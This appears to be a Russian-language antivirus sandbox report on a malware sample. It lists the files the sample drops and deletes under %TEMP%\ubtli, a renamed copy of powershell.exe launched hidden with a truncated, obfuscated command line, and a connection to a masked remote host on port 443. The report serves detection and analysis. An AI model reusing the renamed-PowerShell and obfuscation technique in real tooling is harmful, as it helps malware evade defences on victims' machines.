Техническая информация
Вредоносные функции
Создает и запускает на исполнение (эксплоит)
- '%TEMP%\ubtli\hzaoio.exe' $uxt_yiaeuejueayiombaji_xhuvkymxy='-con';$srkyyhhbjwna_btcvcgxwploileaay='et-Exec';$esxdmgekrtiepjhusjubnyqeuaiei_d='ent).';$ikvzullypgpxtwmgjvhtreyzkyalieisb='stem';$nmpuyiuzbs_sjarpxlaan_apnu...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\ubtli\certificate.format.ps1xml
- %TEMP%\ubtli\en-us\microsoft.powershell.commands.management.dll-help.xml
- %TEMP%\ubtli\en-us\microsoft.powershell.commands.diagnostics.dll-help.xml
- %TEMP%\ubtli\en-us\importallmodules.psd1
- %TEMP%\ubtli\en-us\default.help.txt
- %TEMP%\ubtli\en-us\about_ws-management_cmdlets.help.txt
- %TEMP%\ubtli\en-us\about_wmi_cmdlets.help.txt
- %TEMP%\ubtli\en-us\about_windows_powershell_ise.help.txt
- %TEMP%\ubtli\en-us\about_windows_powershell_2.0.help.txt
- %TEMP%\ubtli\en-us\about_wildcards.help.txt
- %TEMP%\ubtli\en-us\about_while.help.txt
- %TEMP%\ubtli\en-us\about_variables.help.txt
- %TEMP%\ubtli\en-us\about_type_operators.help.txt
- %TEMP%\ubtli\en-us\about_types.ps1xml.help.txt
- %TEMP%\ubtli\en-us\about_try_catch_finally.help.txt
- %TEMP%\ubtli\en-us\about_trap.help.txt
- %TEMP%\ubtli\en-us\about_transactions.help.txt
- %TEMP%\ubtli\en-us\about_throw.help.txt
- %TEMP%\ubtli\en-us\about_switch.help.txt
- %TEMP%\ubtli\en-us\about_split.help.txt
- %TEMP%\ubtli\en-us\about_special_characters.help.txt
- %TEMP%\ubtli\en-us\about_signing.help.txt
- %TEMP%\ubtli\en-us\about_session_configurations.help.txt
- %TEMP%\ubtli\en-us\about_script_internationalization.help.txt
- %TEMP%\ubtli\en-us\about_script_blocks.help.txt
- %TEMP%\ubtli\en-us\about_scripts.help.txt
- %TEMP%\ubtli\en-us\about_scopes.help.txt
- %TEMP%\ubtli\en-us\about_return.help.txt
- %TEMP%\ubtli\en-us\about_reserved_words.help.txt
- %TEMP%\ubtli\en-us\about_requires.help.txt
- %TEMP%\ubtli\en-us\microsoft.powershell.commands.utility.dll-help.xml
- %TEMP%\ubtli\en-us\microsoft.powershell.consolehost.dll-help.xml
- %TEMP%\ubtli\en-us\microsoft.powershell.security.dll-help.xml
- %TEMP%\ubtli\en-us\microsoft.wsman.management.dll-help.xml
- %TEMP%\ubtli\registry.format.ps1xml
- %TEMP%\ubtli\pwrshsip.dll
- %TEMP%\ubtli\pwrshmsg.dll
- %TEMP%\ubtli\pspluginwkr.dll
- %TEMP%\ubtli\psevents.dll
- %TEMP%\ubtli\powershell_ise.exe
- %TEMP%\ubtli\powershelltrace.format.ps1xml
- %TEMP%\ubtli\powershellcore.format.ps1xml
- %TEMP%\ubtli\powershell.exe
- %TEMP%\ubtli\modules\troubleshootingpack\troubleshootingpack.psd1
- %TEMP%\ubtli\modules\troubleshootingpack\troubleshootingpack.format.ps1xml
- %TEMP%\ubtli\modules\troubleshootingpack\en-us\microsoft.windows.diagnosis.troubleshootingpack.dll-help.xml
- %TEMP%\ubtli\modules\psdiagnostics\psdiagnostics.psm1
- %TEMP%\ubtli\modules\psdiagnostics\psdiagnostics.psd1
- %TEMP%\ubtli\modules\bitstransfer\en-us\microsoft.backgroundintelligenttransfer.management.dll-help.xml
- %TEMP%\ubtli\modules\bitstransfer\microsoft.backgroundintelligenttransfer.management.interop.dll
- %TEMP%\ubtli\modules\bitstransfer\en-us\about_bits_cmdlets.help.txt
- %TEMP%\ubtli\modules\bitstransfer\bitstransfer.psd1
- %TEMP%\ubtli\modules\bitstransfer\bitstransfer.format.ps1xml
- %TEMP%\ubtli\modules\applocker\en-us\microsoft.security.applicationid.policymanagement.cmdlets.dll-help.xml
- %TEMP%\ubtli\modules\applocker\applocker.psd1
- %TEMP%\ubtli\help.format.ps1xml
- %TEMP%\ubtli\getevent.types.ps1xml
- %TEMP%\ubtli\filesystem.format.ps1xml
- %TEMP%\ubtli\en-us\system.management.automation.dll-help.xml
- %TEMP%\ubtli\en-us\pwrshmsg.dll.mui
- %TEMP%\ubtli\en-us\pspluginwkr.dll.mui
- %TEMP%\ubtli\en-us\psevents.dll.mui
- %TEMP%\ubtli\en-us\powershell_ise.resources.dll
- %TEMP%\ubtli\en-us\powershell.exe.mui
- %TEMP%\ubtli\types.ps1xml
- %TEMP%\ubtli\en-us\about_remote_troubleshooting.help.txt
- %TEMP%\ubtli\en-us\about_remote_requirements.help.txt
- %TEMP%\ubtli\en-us\about_remote_output.help.txt
- %TEMP%\ubtli\en-us\about_functions_advanced_methods.help.txt
- %TEMP%\ubtli\en-us\about_functions_advanced.help.txt
- %TEMP%\ubtli\en-us\about_functions.help.txt
- %TEMP%\ubtli\en-us\about_format.ps1xml.help.txt
- %TEMP%\ubtli\en-us\about_foreach.help.txt
- %TEMP%\ubtli\en-us\about_for.help.txt
- %TEMP%\ubtli\en-us\about_execution_policies.help.txt
- %TEMP%\ubtli\en-us\about_eventlogs.help.txt
- %TEMP%\ubtli\en-us\about_escape_characters.help.txt
- %TEMP%\ubtli\en-us\about_environment_variables.help.txt
- %TEMP%\ubtli\en-us\about_do.help.txt
- %TEMP%\ubtli\en-us\about_debuggers.help.txt
- %TEMP%\ubtli\en-us\about_data_sections.help.txt
- %TEMP%\ubtli\en-us\about_core_commands.help.txt
- %TEMP%\ubtli\en-us\about_continue.help.txt
- %TEMP%\ubtli\en-us\about_comparison_operators.help.txt
- %TEMP%\ubtli\en-us\about_commonparameters.help.txt
- %TEMP%\ubtli\en-us\about_comment_based_help.help.txt
- %TEMP%\ubtli\en-us\about_command_syntax.help.txt
- %TEMP%\ubtli\en-us\about_command_precedence.help.txt
- %TEMP%\ubtli\en-us\about_break.help.txt
- %TEMP%\ubtli\en-us\about_automatic_variables.help.txt
- %TEMP%\ubtli\en-us\about_assignment_operators.help.txt
- %TEMP%\ubtli\en-us\about_arrays.help.txt
- %TEMP%\ubtli\en-us\about_arithmetic_operators.help.txt
- %TEMP%\ubtli\en-us\about_aliases.help.txt
- %TEMP%\ubtli\dotnettypes.format.ps1xml
- %TEMP%\ubtli\diagnostics.format.ps1xml
- %TEMP%\ubtli\compiledcomposition.microsoft.powershell.gpowershell.dll
- %TEMP%\ubtli\en-us\about_functions_advanced_parameters.help.txt
- %TEMP%\ubtli\en-us\about_functions_cmdletbindingattribute.help.txt
- %TEMP%\ubtli\en-us\about_hash_tables.help.txt
- %TEMP%\ubtli\en-us\about_history.help.txt
- %TEMP%\ubtli\en-us\about_remote_faq.help.txt
- %TEMP%\ubtli\en-us\about_remote.help.txt
- %TEMP%\ubtli\en-us\about_regular_expressions.help.txt
- %TEMP%\ubtli\en-us\about_ref.help.txt
- %TEMP%\ubtli\en-us\about_redirection.help.txt
- %TEMP%\ubtli\en-us\about_quoting_rules.help.txt
- %TEMP%\ubtli\en-us\about_pssnapins.help.txt
- %TEMP%\ubtli\en-us\about_pssession_details.help.txt
- %TEMP%\ubtli\en-us\about_pssessions.help.txt
- %TEMP%\ubtli\en-us\about_providers.help.txt
- %TEMP%\ubtli\en-us\about_properties.help.txt
- %TEMP%\ubtli\en-us\about_prompts.help.txt
- %TEMP%\ubtli\en-us\about_profiles.help.txt
- %TEMP%\ubtli\en-us\about_preference_variables.help.txt
- %TEMP%\ubtli\en-us\about_path_syntax.help.txt
- %TEMP%\ubtli\en-us\about_pipelines.help.txt
- %TEMP%\ubtli\en-us\about_parsing.help.txt
- %TEMP%\ubtli\en-us\about_parameters.help.txt
- %TEMP%\ubtli\en-us\about_operators.help.txt
- %TEMP%\ubtli\en-us\about_objects.help.txt
- %TEMP%\ubtli\en-us\about_modules.help.txt
- %TEMP%\ubtli\en-us\about_methods.help.txt
- %TEMP%\ubtli\en-us\about_logical_operators.help.txt
- %TEMP%\ubtli\en-us\about_locations.help.txt
- %TEMP%\ubtli\en-us\about_line_editing.help.txt
- %TEMP%\ubtli\en-us\about_language_keywords.help.txt
- %TEMP%\ubtli\en-us\about_join.help.txt
- %TEMP%\ubtli\en-us\about_job_details.help.txt
- %TEMP%\ubtli\en-us\about_jobs.help.txt
- %TEMP%\ubtli\en-us\about_if.help.txt
- %TEMP%\ubtli\en-us\about_remote_jobs.help.txt
- %TEMP%\ubtli\wsman.format.ps1xml
Удаляет следующие файлы
- %TEMP%\ubtli\en-us\about_aliases.help.txt
- %TEMP%\ubtli\en-us\powershell.exe.mui
- %TEMP%\ubtli\en-us\microsoft.wsman.management.dll-help.xml
- %TEMP%\ubtli\en-us\microsoft.powershell.security.dll-help.xml
- %TEMP%\ubtli\en-us\microsoft.powershell.consolehost.dll-help.xml
- %TEMP%\ubtli\en-us\microsoft.powershell.commands.utility.dll-help.xml
- %TEMP%\ubtli\en-us\microsoft.powershell.commands.management.dll-help.xml
- %TEMP%\ubtli\en-us\microsoft.powershell.commands.diagnostics.dll-help.xml
- %TEMP%\ubtli\en-us\importallmodules.psd1
- %TEMP%\ubtli\en-us\default.help.txt
- %TEMP%\ubtli\en-us\about_ws-management_cmdlets.help.txt
- %TEMP%\ubtli\en-us\about_wmi_cmdlets.help.txt
- %TEMP%\ubtli\en-us\about_windows_powershell_ise.help.txt
- %TEMP%\ubtli\en-us\about_windows_powershell_2.0.help.txt
- %TEMP%\ubtli\en-us\about_wildcards.help.txt
- %TEMP%\ubtli\en-us\about_variables.help.txt
- %TEMP%\ubtli\en-us\psevents.dll.mui
- %TEMP%\ubtli\en-us\about_type_operators.help.txt
- %TEMP%\ubtli\en-us\about_types.ps1xml.help.txt
- %TEMP%\ubtli\en-us\about_try_catch_finally.help.txt
- %TEMP%\ubtli\en-us\about_trap.help.txt
- %TEMP%\ubtli\en-us\about_transactions.help.txt
- %TEMP%\ubtli\en-us\about_throw.help.txt
- %TEMP%\ubtli\en-us\about_switch.help.txt
- %TEMP%\ubtli\en-us\about_split.help.txt
- %TEMP%\ubtli\en-us\about_special_characters.help.txt
- %TEMP%\ubtli\en-us\about_signing.help.txt
- %TEMP%\ubtli\en-us\about_session_configurations.help.txt
- %TEMP%\ubtli\en-us\about_script_internationalization.help.txt
- %TEMP%\ubtli\en-us\about_script_blocks.help.txt
- %TEMP%\ubtli\en-us\about_while.help.txt
- %TEMP%\ubtli\en-us\about_properties.help.txt
- %TEMP%\ubtli\en-us\pspluginwkr.dll.mui
- %TEMP%\ubtli\registry.format.ps1xml
- %TEMP%\ubtli\pwrshsip.dll
- %TEMP%\ubtli\pwrshmsg.dll
- %TEMP%\ubtli\pspluginwkr.dll
- %TEMP%\ubtli\psevents.dll
- %TEMP%\ubtli\powershell_ise.exe
- %TEMP%\ubtli\powershelltrace.format.ps1xml
- %TEMP%\ubtli\powershellcore.format.ps1xml
- %TEMP%\ubtli\hzaoio.exe
- %TEMP%\ubtli\help.format.ps1xml
- %TEMP%\ubtli\getevent.types.ps1xml
- %TEMP%\ubtli\filesystem.format.ps1xml
- %TEMP%\ubtli\dotnettypes.format.ps1xml
- %TEMP%\ubtli\diagnostics.format.ps1xml
- %TEMP%\ubtli\en-us\about_scripts.help.txt
- %TEMP%\ubtli\en-us\powershell_ise.resources.dll
- %TEMP%\ubtli\modules\troubleshootingpack\troubleshootingpack.psd1
- %TEMP%\ubtli\modules\troubleshootingpack\troubleshootingpack.format.ps1xml
- %TEMP%\ubtli\modules\troubleshootingpack\en-us\microsoft.windows.diagnosis.troubleshootingpack.dll-help.xml
- %TEMP%\ubtli\modules\psdiagnostics\psdiagnostics.psm1
- %TEMP%\ubtli\modules\psdiagnostics\psdiagnostics.psd1
- %TEMP%\ubtli\modules\bitstransfer\microsoft.backgroundintelligenttransfer.management.interop.dll
- %TEMP%\ubtli\modules\bitstransfer\bitstransfer.psd1
- %TEMP%\ubtli\modules\bitstransfer\bitstransfer.format.ps1xml
- %TEMP%\ubtli\modules\bitstransfer\en-us\microsoft.backgroundintelligenttransfer.management.dll-help.xml
- %TEMP%\ubtli\modules\bitstransfer\en-us\about_bits_cmdlets.help.txt
- %TEMP%\ubtli\modules\applocker\applocker.psd1
- %TEMP%\ubtli\modules\applocker\en-us\microsoft.security.applicationid.policymanagement.cmdlets.dll-help.xml
- %TEMP%\ubtli\examples\profile.ps1
- %TEMP%\ubtli\en-us\system.management.automation.dll-help.xml
- %TEMP%\ubtli\certificate.format.ps1xml
- %TEMP%\ubtli\en-us\pwrshmsg.dll.mui
- %TEMP%\ubtli\en-us\about_scopes.help.txt
- %TEMP%\ubtli\en-us\about_return.help.txt
- %TEMP%\ubtli\en-us\about_reserved_words.help.txt
- %TEMP%\ubtli\en-us\about_do.help.txt
- %TEMP%\ubtli\en-us\about_history.help.txt
- %TEMP%\ubtli\en-us\about_hash_tables.help.txt
- %TEMP%\ubtli\en-us\about_functions_cmdletbindingattribute.help.txt
- %TEMP%\ubtli\en-us\about_functions_advanced_parameters.help.txt
- %TEMP%\ubtli\en-us\about_functions_advanced_methods.help.txt
- %TEMP%\ubtli\en-us\about_functions_advanced.help.txt
- %TEMP%\ubtli\en-us\about_functions.help.txt
- %TEMP%\ubtli\en-us\about_format.ps1xml.help.txt
- %TEMP%\ubtli\en-us\about_foreach.help.txt
- %TEMP%\ubtli\en-us\about_for.help.txt
- %TEMP%\ubtli\en-us\about_execution_policies.help.txt
- %TEMP%\ubtli\en-us\about_eventlogs.help.txt
- %TEMP%\ubtli\en-us\about_escape_characters.help.txt
- %TEMP%\ubtli\types.ps1xml
- %TEMP%\ubtli\en-us\about_jobs.help.txt
- %TEMP%\ubtli\en-us\about_debuggers.help.txt
- %TEMP%\ubtli\en-us\about_data_sections.help.txt
- %TEMP%\ubtli\en-us\about_core_commands.help.txt
- %TEMP%\ubtli\en-us\about_continue.help.txt
- %TEMP%\ubtli\en-us\about_comparison_operators.help.txt
- %TEMP%\ubtli\en-us\about_commonparameters.help.txt
- %TEMP%\ubtli\en-us\about_comment_based_help.help.txt
- %TEMP%\ubtli\en-us\about_command_syntax.help.txt
- %TEMP%\ubtli\en-us\about_command_precedence.help.txt
- %TEMP%\ubtli\en-us\about_break.help.txt
- %TEMP%\ubtli\en-us\about_automatic_variables.help.txt
- %TEMP%\ubtli\en-us\about_assignment_operators.help.txt
- %TEMP%\ubtli\en-us\about_arrays.help.txt
- %TEMP%\ubtli\en-us\about_arithmetic_operators.help.txt
- %TEMP%\ubtli\en-us\about_environment_variables.help.txt
- %TEMP%\ubtli\compiledcomposition.microsoft.powershell.gpowershell.dll
- %TEMP%\ubtli\en-us\about_job_details.help.txt
- %TEMP%\ubtli\en-us\about_line_editing.help.txt
- %TEMP%\ubtli\en-us\about_join.help.txt
- %TEMP%\ubtli\en-us\about_requires.help.txt
- %TEMP%\ubtli\en-us\about_remote_troubleshooting.help.txt
- %TEMP%\ubtli\en-us\about_remote_requirements.help.txt
- %TEMP%\ubtli\en-us\about_remote_output.help.txt
- %TEMP%\ubtli\en-us\about_remote_jobs.help.txt
- %TEMP%\ubtli\en-us\about_remote_faq.help.txt
- %TEMP%\ubtli\en-us\about_remote.help.txt
- %TEMP%\ubtli\en-us\about_regular_expressions.help.txt
- %TEMP%\ubtli\en-us\about_ref.help.txt
- %TEMP%\ubtli\en-us\about_redirection.help.txt
- %TEMP%\ubtli\en-us\about_quoting_rules.help.txt
- %TEMP%\ubtli\en-us\about_pssnapins.help.txt
- %TEMP%\ubtli\en-us\about_pssession_details.help.txt
- %TEMP%\ubtli\en-us\about_language_keywords.help.txt
- %TEMP%\ubtli\en-us\about_pssessions.help.txt
- %TEMP%\ubtli\en-us\about_if.help.txt
- %TEMP%\ubtli\en-us\about_prompts.help.txt
- %TEMP%\ubtli\en-us\about_profiles.help.txt
- %TEMP%\ubtli\en-us\about_preference_variables.help.txt
- %TEMP%\ubtli\en-us\about_pipelines.help.txt
- %TEMP%\ubtli\en-us\about_path_syntax.help.txt
- %TEMP%\ubtli\en-us\about_parsing.help.txt
- %TEMP%\ubtli\en-us\about_parameters.help.txt
- %TEMP%\ubtli\en-us\about_operators.help.txt
- %TEMP%\ubtli\en-us\about_objects.help.txt
- %TEMP%\ubtli\en-us\about_modules.help.txt
- %TEMP%\ubtli\en-us\about_methods.help.txt
- %TEMP%\ubtli\en-us\about_logical_operators.help.txt
- %TEMP%\ubtli\en-us\about_locations.help.txt
- %TEMP%\ubtli\en-us\about_providers.help.txt
- %TEMP%\ubtli\wsman.format.ps1xml
Перемещает следующие файлы
- %TEMP%\ubtli\powershell.exe в %TEMP%\ubtli\hzaoio.exe
Сетевая активность
Подключается к
- 'te###.sonisord.com':443
TCP
Другие
- 'te###.sonisord.com':443
UDP
- DNS ASK te###.sonisord.com
Другое
Создает и запускает на исполнение
- '%TEMP%\ubtli\hzaoio.exe' $uxt_yiaeuejueayiombaji_xhuvkymxy='-con';$srkyyhhbjwna_btcvcgxwploileaay='et-Exec';$esxdmgekrtiepjhusjubnyqeuaiei_d='ent).';$ikvzullypgpxtwmgjvhtreyzkyalieisb='stem';$nmpuyiuzbs_sjarpxlaan_apnu...' (со скрытым окном)
